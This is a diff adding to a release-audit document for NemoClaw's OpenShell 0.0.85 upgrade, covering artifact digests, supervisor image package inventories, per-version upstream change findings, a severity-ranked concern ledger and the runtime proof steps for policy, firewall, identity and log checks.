+each tarball. Stable Linux amd64 E2E additionally binds the extracted CLI,
+gateway, and standalone sandbox binaries to
+`222d9d53a142691d7a7de2c692f38e52d24066f9f633d53746c5fef775861bc8`,
+`33bb479d936c3c1b17dd475df05747be9de74564fb67d69a4c33cdd01181d02f`, and
+`863ef21ab7ef623f5e7a8728c4e5532b46bfbae3ace3b800665a1c6353a1f7d2`,
+respectively. The last digest is also the reviewed standalone sandbox identity
+used when an older host loader cannot execute `--version`; the Linux arm64
+identity is
+`680115dbc2affde0e88261ab09f4044726d1cc9e01de55dc5077d1118f52968d`.
+
+The stable supervisor image is pinned to immutable multi-architecture index
+`sha256:f4226253a3525c3832adac5b38b419a0f27d1e915effe565b5885e20f93cd5e9`:
+
+| Platform | Child manifest | Config |
+|---|---|---|
+| Linux amd64 | `sha256:d559116a7b8129b227cbcc984e9625c94101af172a228dfe66a471a210ab5393` | `sha256:e92e84ea67371e5c2814dd3d51bf976887e4fa1ad712b7713c40c8c9bb4b549c` |
+| Linux arm64 | `sha256:3d145f2144f78d34af80f98129cb2df8cbb8165389aec80a45092aec31cf8050` | `sha256:fa8c9d9f5f42cd1f7d64cc9b14926ee798e8fe40de32880197ece4cde3dc9096` |
+
+The stable OCI publication retains the candidate image's upstream provenance
+limitation: the index has no OCI referrers, attestations, SBOM, or source labels.
+NemoClaw therefore enforces the immutable index and platform identities above
+and does not claim source-to-image provenance. This gap remains distinct from
+the SLSA-bound release archives.
+
+### Candidate development artifact evidence
+
+The successful `bb72d012` Release Dev run provides bounded compatibility inputs,
+not release approval. NemoClaw does not download or execute these expiring
+artifacts as `0.0.85` release proof; the stable tag and its published artifacts
+are the sole production authority. The exact retained Linux amd64 artifacts
+inspected on July 12, 2026 are historical ancestry evidence:
+
+| Role | Actions artifact | Actions ZIP SHA-256 | Inner archive SHA-256 | Extracted binary SHA-256 |
+|---|---|---|---|---|
+| CLI | `8266446648` (`cli-linux-amd64`) | `78923b27a492204b6e869d9f5f392e57b37d8ddcb9367d746f4ee46cfaf0e5a2` | `d1732c0b87801560afd1b06cfea31c60d6a357100d5b817b4a4fb181b0b71933` | `09083ef8087e5191fc3513a7239b08041b511fdeb7f2fe074bdf8820886cbea1` |
+| Gateway | `8266452366` (`gateway-binary-linux-amd64`) | `39504758f07a8bac0a52d958ec56e380ac59824bde8db72a815a9b82c6bbcfd6` | `5e3728564b1f965cb5d320bab4f37d388303723f42a64c308227dbc1ef382043` | `39e75f7a2a96c220e3f2d645067f0623d922385ade07edb2037a27cc07ea81d1` |
+| Standalone sandbox | `8266435047` (`supervisor-binary-linux-amd64`) | `7b2e47adbbfc644806b465a4f4c3c7bfaba7117e1f19ec9f151b37695b418bf4` | `6f7040e89ec249df7f3b36ddff609a87f096fcdf62cd5c28e86757f175e40a7a` | `58e5d99261d2b8ea06664d020995830fd3f153ea692f36622b92f9b827ea60c8` |
+
+Each Actions ZIP contains exactly the expected archive, and each nested archive
+contains exactly one regular mode-0755 root-owned binary with no links or extra
+paths. The artifacts expire around July 18, 2026; their IDs are evidence only
+while retained and must not become long-lived dependency selectors.
+
+The development supervisor image resolves to immutable index
+`sha256:fc441051102b1a16ffcabf59878fa464d3c548f29bfbfa6e4acb232ab67198b7`:
+
+| Platform | Child manifest | Config | Binary layer | `/openshell-sandbox` SHA-256 |
+|---|---|---|---|---|
+| Linux amd64 | `sha256:4a54b434decd007d2a966edb5db751adb3ca4cf8ab8ac0b248901f8efe614b71` | `sha256:5432194fa43840c333bc7b166bf6e7c0e15247e9dc195cb9a38c1a85b7415f44` | `sha256:d1baeaebaddef6291e0a94b697f28c3c319ac2ec1a83843026e89553cc7cd27e` | `8e89067afca2d1c02a25fb19906dd27fd8d524ee4eb3b2b36b1210338dae9235` |
+| Linux arm64 | `sha256:fab8d5c551991648a19bf7876d2edf19fdcf4e95139ce5f75d638354c0820d51` | `sha256:66a1d121d6386e19297d05a950ba7409c5752f337bacfbc156c7c76513e40136` | `sha256:818c727cb5cbcdb78918a274ca6b9aa85be6a95fdb604e49f523cf2c87f2eba4` | `8ec9b88c49f001d070ada7bb5a98fb6f96498fc446b0f2f614056247d7300b85` |
+
+Read-only package-database inspection of both development child manifests found
+Alpine `3.22.5` and the same 29 installed APK records:
+
+```text
+alpine-baselayout-3.7.0-r0       alpine-baselayout-data-3.7.0-r0
+alpine-keys-2.5-r0               alpine-release-3.22.5-r0
+apk-tools-2.14.10-r0             busybox-1.37.0-r20
+busybox-binsh-1.37.0-r20         ca-certificates-bundle-20260611-r0
+gmp-6.3.0-r3                     iptables-1.8.11-r1
+iptables-legacy-1.8.11-r1        jansson-2.14.1-r0
+libapk2-2.14.10-r0               libcrypto3-3.5.7-r0
+libip4tc-1.8.11-r1               libip6tc-1.8.11-r1
+libmnl-1.0.5-r2                  libncursesw-6.5_p20250503-r0
+libnftnl-1.2.9-r0                libssl3-3.5.7-r0
+libxtables-1.8.11-r1             musl-1.2.5-r12
+musl-utils-1.2.5-r12             ncurses-terminfo-base-6.5_p20250503-r0
+nftables-1.1.3-r0                readline-8.2.13-r1
+scanelf-1.3.8-r1                 ssl_client-1.37.0-r20
+zlib-1.3.2-r0
+```
+
+The installed package metadata spans MIT, Apache-2.0, GPL-2.0-only,
+GPL-2.0-or-later, GPL-3.0-or-later, LGPL-2.1-or-later,
+LGPL-3.0-or-later, MPL-2.0, BSD-2-Clause, X11, and Zlib expressions. The image
+contains no path whose name matches `LICENSE`, `COPYING`, or `NOTICE`. On amd64,
+the filesystem inventory has 152 mode-executable regular files, including 115
+xtables modules, plus 391 symbolic links and 304 BusyBox applets. Those counts
+include executable-mode shared objects; they deliberately describe the whole
+distributed filesystem rather than only the three explicitly installed package
+names.
+
+The source Dockerfile uses mutable `alpine:3.22` and resolves unversioned
+`nftables`, `iptables`, and `iptables-legacy` packages at build time. The build
+wrapper passes `--provenance=false`. The development digest freezes the result
+inspected above, but the Dockerfile alone cannot reproduce that result or bind
+the resolved base/package identities to source.
+
+This expanded image is not all executable runtime surface for NemoClaw's Docker
+driver. OpenShell pulls the image, creates a non-running extractor container,
+downloads only `/openshell-sandbox`, caches that binary by image content ID, and
+bind-mounts it into the actual sandbox image. The Alpine packages are therefore
+downloaded supply-chain and local-daemon storage surface, but are not executed in
+the standard NemoClaw Docker topology. OpenShell's Kubernetes sidecar and Podman
+image-volume paths can execute or expose the Alpine filesystem; those drivers
+remain outside the current NemoClaw integration. Both boundaries must be stated:
+the Docker extraction behavior narrows runtime exposure, but it does not make an
+unreproducible, unattributed distributed layer disappear.
+
+Those image binaries byte-match build artifacts `8266448422` (amd64) and
+`8266451406` (arm64), respectively. The match binds registry content to retained
+Actions output, but not cryptographically to source: GitHub returned no
+attestation for the index or either child manifest, and the OCI configs expose no
+source, revision, or version labels. Development proof must therefore record
+`attestationStatus: absent`, preserve every digest above, and avoid claiming
+source-to-image provenance. The stable release was audited anew in the preceding
+section rather than inheriting these development identities.
+
+## Adjacent release findings
+
+### v0.0.72 to v0.0.73
+
+Commits: `afc06dd2`, `a5161d0b`, `a2268060`, `f27ff150`, `474d2d4a`.
+
+- `afc06dd2` clears the full Linux capability bounding set for entrypoint, exec,
+  and connect children. Child launch fails when `CAP_SETPCAP` is unavailable and
+  the bounding set is nonempty; it succeeds without that capability only when the
+  runtime already supplied an empty bounding set. This directly intersects
+  NemoClaw's Docker Desktop, WSL, Colossus, cloud, and DGX capability workarounds.
+  The implementation also adds the `capctl 0.2.4 -> bitflags 1.3.2` dependency
+  chain audited above; runtime behavior and dependency provenance are separate
+  gates.
+- `a5161d0b` moves selected-driver configuration acquisition into a normalized
+  server path. NemoClaw renders an authenticated Docker TOML containing the
+  selected driver, TLS, mTLS, JWT, supervisor image, and supervisor binary; the
+  final OpenShell binary must parse that exact rendered file and preserve both
+  listener paths across restart and legacy-gateway upgrade.
+- `f27ff150` reserves credential names matching `v<digits>_<key>`, introduces
+  revision-scoped child placeholders, retains eight resolver generations, and
+  falls an evicted revision back to the current credential only when that key
+  still exists. NemoClaw must reject the reserved namespace and prove rotation,
+  removal, restart, and rebuild behavior rather than assuming the old unversioned
+  placeholder contract.
+- `a2268060` changes only upstream GPU E2E fixture execution and `474d2d4a`
+  changes contributor documentation. They add no consumed runtime contract.
+
+### v0.0.73 to v0.0.74
+
+Commits: `ed0026aa`, `0a25fdf5`, `5477e2f2`, `914da339`, `450685c7`, `45614a3f`.
+
+- `0a25fdf5` removes the unused gateway `extra_bind_addresses` configuration.
+  NemoClaw does not emit that field, but must parse its final Docker TOML and prove
+  the intended loopback and Docker-bridge reachability instead of relying on that
+  absence alone.
+- `450685c7` rejects leading/trailing whitespace in mount fields. NemoClaw does
+  not configure production driver mounts; the test-only EXDEV tmpfs mount is the
+  downstream consumer and remains a required no-impact regression.
+- The Helm SAN, MCP documentation, Kubernetes combined-topology, and removed raw
+  `SandboxTemplate.volume_claim_templates` changes are not consumed by NemoClaw's
+  Docker gateway or CLI integration. NemoClaw has no raw OpenShell protobuf client
+  for the removed field.
+
+### v0.0.74 to v0.0.75
+
+Commits: `abcd15d1`, `45060f44`.
+
+Envoy Gateway TLS termination and the Gator agent manifest are native OpenShell
+Kubernetes/agent surfaces. NemoClaw neither deploys that Helm topology nor selects
+the Gator manifest, so these are evidence-backed exclusions from the Docker
+dependency migration.
+
+### v0.0.75 to v0.0.76
+
+Commits: `43bb0302`, `5f9bf9ce`, `6461677c`.
+
+- `43bb0302` changes Docker and Podman bind mounts to support SELinux relabeling,
+  explicit source checks, and Docker's legacy bind representation. Production
+  NemoClaw supplies no driver mounts; the EXDEV fixture remains the direct test.
+- `6461677c` adds numeric UID/GID policy identities and configurable Kubernetes
+  and VM identities. NemoClaw's supported gateway configuration selects only the
+  Docker driver; that driver does not inject the new UID/GID environment or
+  consume the VM fields, so the downstream Docker process remains the named
+  `sandbox` identity. This is a Docker-only exclusion, not a claim that the
+  upstream change is merely additive on every driver.
+- The VM default remains its legacy hardcoded UID/GID `10001`, and prepared-image
+  cache identities include the rootfs layout, OpenShell version, and source-image
+  identity. Upgrading from `0.0.72` therefore misses the old cache. Within one
+  OpenShell version, however, the cache identity omits resolved `sandbox_uid` and
+  `sandbox_gid`; changing those settings can reuse a rootfs whose passwd/group
+  entries were baked for the old identity. Any future NemoClaw VM-driver support
+  must include those values in the key or purge and rebuild the cache.
+- The rootless-Podman host E2E change does not alter NemoClaw's Docker runtime.
+
+### v0.0.76 to v0.0.77
+
+Commits: `f852d07b`, `6252aa17`, `31807d68`.
+
+This range contains Hermes support documentation, an unimplemented driver-config
+passthrough RFC, and a workflow action bump. It adds no shipped contract consumed
+by NemoClaw.
+
+### v0.0.77 to v0.0.78
+
+Commits: `5656240c`, `290297ff`, `9c14de7b`, `eba5dd75`, `abe42fb5`, `a7271169`.
+
+The Podman sandbox-JWT secret delivery fix is outside NemoClaw's Docker path.
+The remaining changes are documentation or removal of deprecated `--keep`
+references; NemoClaw does not invoke `--keep`.
+
+### v0.0.78 to v0.0.79
+
+Commit: `f7aa3aa3`.
+
+Only `astral-sh/setup-uv` changed. There is no runtime or packaging selector
+consumed by NemoClaw in this adjacent range, despite the cumulative `v0.0.79`
+release-note body listing older changes.
+
+### v0.0.79 to v0.0.80
+
+Commits: `2e2b497f`, `ed8ce820`, `5207f118`, `ff9af8e3`, `709aa0fe`.
+
+- `ff9af8e3` acknowledges the exact initially loaded sandbox policy revision and
+  reconciles an initial mismatch instead of leaving version zero/pending state.
+  `run_policy_status_reporter` consumes an unbounded FIFO independently of the
+  enforcement loop and retries a retryable head item forever, with backoff capped
+  at 32 seconds. Policy enforcement therefore continues, but an older unavailable
+  acknowledgement can head-of-line block every later status. The separate
+  construction-failure path makes five best-effort report attempts and then
+  preserves the startup error. Upstream unit coverage proves matching, mismatched,
+  global, version-zero, local-override, provider-composed, unbound, and 128-item
+  FIFO cases; its live test proves a sparse initial revision becomes loaded. It
+  does not isolate report-RPC outage/recovery or force initial policy construction
+  failure. NemoClaw must therefore prove the observable success path and retain
+  the two fault paths as explicit gates; `policy set --wait` alone is insufficient
+  evidence.
+- The Podman import fix, Docker-version typo, man-page date, and setup action bump
+  do not change the consumed Docker runtime contract.
+
+### v0.0.80 to v0.0.81
+
+Commits: `83131d7e`, `88710225`, `49701088`, `420a855d`.
+
+NemoClaw does not call `provider refresh configure
+--secret-material-env`. Telemetry documentation and Packit target changes are
+not consumed. `420a855d` adds upstream supervisor proxy-hostname regression tests
+without changing product source. The failed stable publication is nevertheless a
+hard artifact gate for this source tag.
+
+### v0.0.81 to v0.0.82
+
+Commits: `5f38b7c4`, `ccdac9ce`, `caaa5165`, `8c0ecac8`, `233d207e`,
+`10702133`, `bebf440b`, `8eacb477`, `614c8c16`, `40194f93`, `bb72d012`,
+`94cdd697`.
+
+- `40194f93` closes two placeholder leak paths: missing resolver state now rejects
+  reserved credential markers, and missing TLS-termination state returns a
+  pre-200 CONNECT 503 rather than creating a raw tunnel. Upstream covers the 503
+  with a loopback first-byte test and a full `handle_tcp_connection` test. Those
+  tests do not reproduce the affected Docker 27 DGX Spark resolver/CA startup or
+  complete a credential-bearing MCP lifecycle, so NemoClaw keeps its wire-level
+  status probe and still requires the physical #6379 tool-call proof.
+- `bb72d012` permits newline and carriage-return bytes in exec command arguments
+  while retaining strict NUL and non-command-field validation. NemoClaw's active
+  public guard and internal base64 workarounds must be removed or reclassified,
+  and byte-exact LF, CRLF, quotes, and heredoc cases must pass without weakening
+  workdir or environment validation.
+- `8eacb477` changes the combined Docker supervisor even though its title names
+  Kubernetes. The supervisor image changes from `scratch` plus one mode-0550
+  binary to Alpine 3.22 with `nftables`, `iptables`, `iptables-legacy`, and a
+  mode-0555 binary. The exact development result is Alpine 3.22.5 with 29 APK
+  records, 152 mode-executable regular files, 391 symlinks, and no embedded
+  license/notice path. This adds an OS package, SBOM, vulnerability, license, and
+  executable surface that must be reviewed and bound to the final OCI digest.
+  NemoClaw's Docker driver extracts only the binary, but still downloads the
+  expanded, non-reproducibly resolved image.
+- The same commit changes generic Docker namespace nft installation from an
+  atomic batch to sequential commands. Required failures can occur after the
+  policy-accept chain and accept rules exist but before all IPv4/IPv6 TCP/UDP
+  rejects exist; the outer Docker setup records that failure as nonfatal. The
+  exact required sequence is table creation, table flush, policy-accept output
+  chain, proxy accept, loopback accept, IPv4 TCP reject, IPv6 TCP reject, IPv4 UDP
+  reject, and IPv6 UDP reject; conntrack and log commands interspersed in that
+  sequence are optional. `install_bypass_rules` stops at a required failure, while
+  `create_netns_for_proxy` catches that error and returns the namespace as usable.
+  Upstream tests inspect generated arguments and required flags but do not execute
+  per-command failures. The final runtime proof must inspect the actual installed
+  rules and verify direct bypass remains unavailable through restart and teardown;
+  deterministic partial-failure injection remains an upstream testability gate.
+- `10702133` makes each driver's default supervisor tag follow the gateway
+  version. NemoClaw supplies an explicit image and supervisor binary, so the
+  downstream invariant remains exact CLI/gateway/sandbox/component equality plus
+  an immutable multi-architecture image digest.
+- Shared child-process construction now strips `OPENSHELL_TLS_CA`,
+  `OPENSHELL_TLS_CERT`, and `OPENSHELL_TLS_KEY` from entrypoint, exec, and connect
+  children. Those values remain supervisor identity material; NemoClaw tests and
+  comments must assert absence rather than describing child injection.
+- Network binary identity now hashes the live `/proc/<pid>/exe` target. The
+  cache remains keyed by the cleaned display path while its fingerprint and hash
+  come from the live process inode. Upstream proves that an already-running Bash
+  resolves to the old hash after unlink/replacement, but does not start the altered
+  replacement and require its network request to fail. The migration must prove
+  both halves in one live proxy session: the old process remains allowed and a new
+  altered process at the same display path receives an exact policy denial.
+- `ccdac9ce` adds sanitized MCP tool names to policy logs without logging
+  arguments. Both the full JSON-RPC message and allowed MCP shorthand now include
+  `rule_methods=tools/call tools=<name>`; `tool_names_for_log` reads only the
+  parsed call name and replaces control characters. Upstream allow/deny tests
+  assert that nested argument values are absent. This is an additive
+  observability/privacy change and a repository-wide consumer search found no
+  NemoClaw parser coupled to the old field order.
+- Native Kubernetes sidecar/PVC/Helm changes, OpenShift documentation, and the TUI
+  warning destination are not consumed by NemoClaw's Docker integration.
+- `94cdd697` updates only the verified `astral-sh/setup-uv` action reference. It
+  is the final tag commit and adds no runtime, package, or artifact-layout delta
+  beyond the already reviewed `bb72d012` source.
+
+The newline migration was audited beyond the public `exec` guard. Production
+gateway RPC now sends its reviewed module source directly, and the live E2E
+clients pass trusted shell, Python, Node, heredoc, and positional-argument bytes
+directly through OpenShell. The sweep removed newline-only base64/eval/temp-file
+transports from endpoint smoke, network policy, MCP, messaging, pairing, rebuild,
+recovery, plugin, inference-switch, and Deep Agents checks. Focused tests pin LF,
+CRLF, heredoc, and positional-argument preservation at the raw OpenShell argv
+boundary.
+
+Remaining base64 use is independently classified: hostile or secret canaries are
+kept inert; rendered file payloads and executable lifecycle fixtures are
+deliberately materialized; gateway parameters remain data rather than code; and
+oversized messaging-provider and scope-upgrade probes retain bounded chunks
+because OpenShell still has a 32 KiB per-argument ceiling. The Hermes validator
+wrapper remains the owned secret-boundary exception. None of those retained uses
+exists merely to avoid a newline in an OpenShell command argument.
+
+The stable MCP lane now has a separate credential-generation-window target
+instead of adding repeated mutations to each 45-minute agent case. It holds one
+OpenClaw child open on its original revision, performs a sequence of nine
+distinct rotation updates (one more than OpenShell's eight retained generations),
+proves that the evicted placeholder resolves only through the current key,
+removes that key while the provider remains attached and proves the old
+placeholder fails closed, then separately detaches the provider and proves both
+fresh-child absence and old-child fail-closed behavior. A second retained child
+proves its revision works before the provider's `--credential-expires-at`
+deadline and is denied after that deadline while a newer current revision remains
+usable. The target then reattaches through `mcp restart`, rebuilds without the
+host MCP secret, and removes the bridge. Every request is identified independently
+of its credential, and the upstream ledger is required to contain no literal
+resolve placeholder.
+The stable workflow keeps the OpenClaw, Hermes, and Deep Agents MCP lifecycles
+on three fresh-runner shards with separate artifacts. It runs the
+`openshell-credential-generation-window` live target once, after the Deep Agents
+case, rather than repeating that proof in every shard.
+The workflow first ran this bounded target against the exact reviewed development
+artifacts and scanned its artifacts for the whole generated-secret prefix. The
+stable-source review retains the upstream
+`expired_retained_generation_does_not_resolve` unit. The default stable job now
+binds the target to tag commit `3dee5570`, the extracted release binaries, and the
+immutable supervisor index; its final exact-head result remains a merge gate.
+
+### v0.0.82 to v0.0.83
+
+Commits: `88f2656f`, `0fe24a4c`, `9ad53b3f`, `4e1ffef8`, `fcc9db30`,
+`ee9b4551`, `df062867`, `e3d26dd3`.
+
+- `4e1ffef8` stages certificate-generation temporary files inside the destination
+  filesystem before rename.
+  This removes a cross-device failure without changing NemoClaw's certificate
+  paths or persisted gateway configuration.
+- `fcc9db30` replaces stringly typed JSON-RPC inspection failures with typed
+  internal errors while preserving the policy-visible rejection text.
+  NemoClaw does not parse the new Rust type and retains its denial/log privacy
+  runtime proof.
+- `e3d26dd3` makes the pending-to-rejected mechanistic policy transition atomic
+  and prevents a resubmitted endpoint from changing an approved ledger row to
+  rejected.
+  It adds no database schema migration and remains compatible with existing
+  persisted policy records.
+- `df062867` lowers the Python package floor from 3.12 to 3.11.
+  NemoClaw's supported Python floor already includes 3.11, so no downstream
+  configuration override changes.
+- The TUI, agent-skill, and review-bot commits do not affect the CLI, gateway,
+  sandbox, release archives, or supervisor runtime consumed by NemoClaw.
+
+### v0.0.83 to v0.0.84
+
+Commits: `97e10513`, `a41cd125`, `96fd31fc`, `e8c16eb1`, `994750e3`,
+`83003e80`, `e6f319c7`.
+
+- `96fd31fc` and `83003e80` add gateway-interceptor policy fields, a middleware
+  service, and a reference implementation.
+  Existing protobuf and policy inputs decode with an empty interceptor set, and
+  NemoClaw does not configure the new field.
+  The default path therefore remains the reviewed network-policy and credential
+  relay path.
+- `e6f319c7` adds the `openshell-sdk` crate.
+  NemoClaw invokes published CLI, gateway, and sandbox binaries and imports no
+  OpenShell SDK package, so the new SDK is not a downstream dependency.
+- `994750e3` changes snap packaging by vendoring SSH.
+  NemoClaw consumes release tarballs and the supervisor OCI image, not the snap.
+- `e8c16eb1` changes only the development-release Helm action.
+  The formatting, documentation, and RFC-only commits do not alter a consumed
+  runtime contract.
+- `v0.0.84` is source ancestry, not a shippable dependency identity, because its
+  arm64 snap producer failed and GitHub published no release.
+
+### v0.0.84 to v0.0.85
+
+Commits: `80293213`, `392ad639`, `b4be33e5`, `21aaa895`, `3dee5570`.
+
+- `80293213` initializes sandbox annotations in the new SDK client.
+  NemoClaw does not use that client, and the change is additive for existing
+  protobuf callers.
+- `392ad639` makes the sandbox supervisor guest PID 1 in the VM driver.
+  Docker-driver behavior and the extracted supervisor image contract are
+  unchanged.
+  VM-driver lifecycle and recovery remain part of the supported-platform runtime
+  proof rather than being inferred from Docker evidence.
+- `21aaa895` adds an admin-authorized gateway-info RPC and additive JSON fields
+  for gateway version, compute drivers, and remote registration metadata.
+  NemoClaw reads the retained `Gateway:` identity line and tolerates additional
+  fields; it does not treat the new RPC as artifact or runtime attestation.
+- `b4be33e5` adds merge-queue CI and `3dee5570` prunes development snap assets.
+  Neither changes stable runtime behavior.
+- The child-visible credential sources
+  `crates/openshell-core/src/google_cloud.rs`,
+  `crates/openshell-core/src/provider_credentials.rs`, and
+  `crates/openshell-core/src/secrets.rs` are byte-identical between `v0.0.82`
+  and `v0.0.85`.
+  The regenerated `v0.0.85` manifest therefore preserves the reviewed key
+  classes while binding them to the selected tag.
+- Provider mutation still exposes no caller-supplied expected resource version,
+  gateway metadata still exposes no attested Docker-driver target address, and
+  the forward lifecycle still lacks a downstream-owned atomic stop/reap API.
+  The corresponding NemoClaw fail-closed checks remain necessary.
+
+## Downstream concern ledger
+
+| ID | Severity | Downstream consumer and failure mode | Required disposition | Current state |
+|---|---|---|---|---|
+| `OS85-01` | Critical | All stable selectors, archives, checksums, binaries, and the supervisor image could identify different builds. | Pin one published tag; verify producer run, signatures/attestations, release hashes, extracted binaries, component versions, OCI index and child manifests; reject archive traversal, links, devices, duplicates, or unexpected members. | Closed for dependency selection: stable tag `3dee5570`, producer run 29507522595, three manifest digests, eight consumed archive digests and SLSA attestations, extracted Linux binary identities, and the immutable multiarch supervisor index are recorded and enforced. |
+| `OS85-02` | Critical | `mcp status` can be honest while the affected Spark still cannot initialize resolver/CA state or perform a credential-bearing request. | Physical Docker 27 DGX Spark: register credential, require status success, load tools, complete a real MCP tool call, and prove the literal placeholder never reaches upstream. | Blocked on assigned hardware proof. |
+| `OS85-03` | High | `src/lib/actions/sandbox/exec.ts`, command dispatch, docs, and internal wrappers encode the old newline rejection. | Remove the obsolete public rejection and newline-only wrappers; prove byte-exact LF, CR, CRLF, quotes, and heredoc argv; retain NUL plus multiline workdir/environment rejection. | Source and internal-wrapper migration complete; stable exact-head runtime proof remains a merge gate. |
+| `OS85-04` | High | OpenShell child launch now clears the complete capability bounding set. Hosts without `CAP_SETPCAP` may fail if their runtime does not pre-clear it. | Prove entrypoint, exec, and connect launch with `CapBnd=0` on Linux Docker, DGX Spark arm64, macOS Docker Desktop/Colima, WSL, and Colossus; update NemoClaw's #3280 caveat only from runtime evidence. | The stable release proof inspects the actual entrypoint, exec, and forced-TTY connect children for full `CapBnd=0`; exact-head Linux execution and every other platform remain open. |
+| `OS85-05` | High | Versioned credential placeholders and the eight-generation window change long-running MCP behavior. | Regenerate the exact-version child-visible manifest; reject reserved `v<digits>_` names; test more than eight rotations, removed keys, detach, restart/rebuild, fresh exec revision, expiry, and literal-placeholder scans. | The exact `v0.0.85` child-visible manifest is the production authority and the generation-window proof is workflow-mandatory; stable exact-head live execution remains a merge gate. |
+| `OS85-06` | High | Initial policy acknowledgement and ordered retry can make the active gateway status lag enforcement. | Test initial LOADED/FAILED, hot update, retry outage/recovery, restart, exact version/hash re-read, and ordered drain. | The stable release proof covers hot-update LOADED identity plus restart initial acknowledgement and exact version/hash recovery. Initial FAILED and isolated report outage/ordered drain remain an open runtime gate. |
+| `OS85-07` | High | Sequential nft setup can leave an incomplete policy-accept ruleset after a required command fails; Docker setup treats the error as nonfatal. | Inject each required failure; inspect IPv4/IPv6 TCP/UDP rules and direct-bypass negatives on Linux x86 and Spark arm64; verify restart and teardown. | The stable release proof inspects the live policy-accept chain and all four required rejects before/after restart, and probes controlled IPv4 TCP/UDP listeners. Required-command fault injection, routed IPv6 behavior, Spark arm64, and physical teardown remain an open security gate. |
+| `OS85-08` | High | The supervisor image moves from one scratch binary to a 29-package Alpine filesystem resolved from a mutable base and unpinned APK names. NemoClaw's Docker path downloads it but executes only the extracted binary. | Retain exact per-arch package/version/license and file inventories; scan vulnerabilities; verify modes, multiarch manifests, base/package identities, source labels, OCI provenance, and extraction-only behavior; preserve an explicit digest. | The final stable index, child manifests, configs, and candidate-equivalent package/file inventory are recorded. The upstream image still has no OCI attestation, SBOM, source labels, or reproducible base/package inputs; NemoClaw enforces the immutable index and explicitly retains that provenance limitation. |
+| `OS85-09` | Medium-high | Normalized selected-driver config can change the effective Docker gateway even when the TOML text is unchanged. | Parse the final rendered TOML with the final binary; prove loopback/bridge listeners, JWT/mTLS, restart, persisted state, and legacy gateway upgrade. | The stable release proof binds the actual rendered Docker TOML to the running release gateway, loopback and Linux bridge listeners, mTLS/JWT mounts and relay access, host gateway restart, persisted sandbox state, and rebuild. The exact-head result, legacy-gateway upgrade, and non-Linux/host-gateway platforms remain open. |
+| `OS85-10` | Medium-high | Supervisor TLS identity variables are no longer child environment. Stale tests/comments can normalize a credential leak. | Assert absence from entrypoint, exec, and connect children and update the source-of-truth rationale. | Hermes and Deep Agents now reject all three variables; the stable entrypoint, exec, and connect probes require their absence, with exact-head execution pending. |
+| `OS85-11` | Medium-high | Live `/proc/<pid>/exe` identity changes replacement-time policy behavior. | Prove old process survives replacement and a new altered process at the same path is denied. | The stable release proof runs both processes against the real proxy and requires old=200 before/after replacement, distinct live/path hashes, and new=403; exact-head runtime result pending. |
+| `OS85-12` | Medium | OpenShell declares Docker 28.0+ while #6379 is on Docker 27 and NemoClaw marks DGX Spark tested. | Either validate and document a precise downstream exception from physical proof or raise the supported floor and preflight it. | Open product/platform decision. |
+| `OS85-13` | Low | Mount parsing/SELinux changes could affect the test-only tmpfs path. | Rerun the EXDEV tmpfs fixture and retain production no-mount evidence. | The stable release proof injects only the reviewed tmpfs config, requires Docker's structured tmpfs representation plus `noexec`/01777 at runtime, retains it across gateway restart, and requires a fresh remount after rebuild. The wrapper is disabled outside the explicit proof lane and production still supplies no driver mounts. Exact-head, Podman, and enforcing-SELinux results remain open. |
+| `OS85-14` | Low | Sanitized MCP tool names are newly present in logs. | Record the additive observability/privacy behavior; ensure no downstream parser assumes the old shape. | The stable release check requires the real `fake_echo` tool name and rejects argument/result canaries or an `arguments` field in JSON-RPC policy logs; exact-head runtime result pending. |
+| `OS85-15` | High | The installer-hash workflow executes its checker and parser from the PR base SHA. One PR cannot safely teach that trusted base about a new release and consume the release; using the head checker would let reviewed code define its own trust rules. | First land archive safety, normalized full-script template validation, and multi-release trust while selectors remain `0.0.72`; prove the old base rejects a new release and the new base permits only structured release-data changes; then land the exact `0.0.85` manifest identities before refreshing this selector PR. | Base trust landed in #7069. #6778 and #6779 established base-owned structured manifest and sandbox-map validation; #7069 added only the three exact `0.0.85` release identities while retaining `0.0.72` and `0.0.82`. This selector PR must be based on that trusted state and pass the checker without relying on its head copy. |
+| `OS85-16` | High | Capability clearing now depends on `capctl 0.2.4` and `bitflags 1.3.2`, but upstream notices are unchanged and the consumed binaries have no published SBOM or attestation covering this dependency graph. | Bind crate checksums and source identities to the stable lock and binaries; review the unsafe syscall boundary and advisories; update notices/licenses; retain a generated SBOM and provenance for every consumed binary. | The stable lock, crate checksums, source identities, licenses, unsafe boundary, current RustSec absence, and SLSA-bound archives are recorded. Upstream still publishes no binary SBOM and its unchanged notices omit the new graph; that limitation remains explicit rather than being presented as complete attribution. |
+| `OS85-17` | Medium | The VM driver bakes configurable UID/GID into prepared rootfs state, but its same-version cache key omits both values and can reuse stale passwd/group entries after configuration drift. | Keep NemoClaw's selected driver Docker-only. Before any VM path is supported, key prepared images by UID/GID or purge them and prove identity/ownership after change and restart. | Source-reviewed exclusion for the current Docker topology; VM configuration-churn compatibility is unproven. |
+
+An unresolved critical or high concern blocks the version selector change. A green
+aggregate test suite does not override an open ledger row.
+
+## Stable release policy, nft, identity, and log proof boundary
+
+The stable MCP job invokes the historically named
+`openshell-exact-main-runtime-contracts.ts` only when
+`NEMOCLAW_OPENSHELL_EXACT_MAIN_PROOF=1`. The proof runs before MCP registration,
+uses a temporary base-policy extension, and restores the exact captured base
+policy before the managed MCP lifecycle continues. It performs these concrete
+checks against the reviewed CLI, gateway, supervisor image, and sandbox binary:
+
+1. Apply a hot policy revision with `--wait`, then independently require the
+   effective and stored-revision JSON to agree on sandbox, version, active
+   version, hash, and LOADED/effective state.
+2. Read `nft -j` inside the real `sandbox-*` network namespace. Require the
+   dangerous policy-accept output chain, proxy and loopback accepts before the
+   rejects, and exactly one IPv4/IPv6 TCP/UDP port-unreachable reject each.
+3. Restart the actual OpenShell-managed Docker container. Require the same exact
+   policy revision/hash, the initial-revision acknowledgement log for that
+   version, and the complete nft ruleset again.
+4. Bind controlled TCP and UDP echo listeners to the supervisor-side
+   `10.200.0.1` veth, then require workload direct connections to fail quickly
+   with `ECONNREFUSED`. This distinguishes nft rejection from an unreachable or
+   unbound external address.
+5. Allow a copied Bash at one exact path to open the real proxy, replace the
+   path with a different executable inode, and require the old process to remain
+   allowed before and after replacement while the new altered process at the
+   same path receives HTTP 403. The evidence records different
+   `/proc/<old-pid>/exe` and replacement-path hashes.
+6. After the authenticated real MCP call, read sandbox policy logs and require
+   `decision=allow rule_methods=tools/call tools=fake_echo`. Argument and result
+   canaries, plus any `arguments` field, are forbidden from those JSON-RPC lines.
+
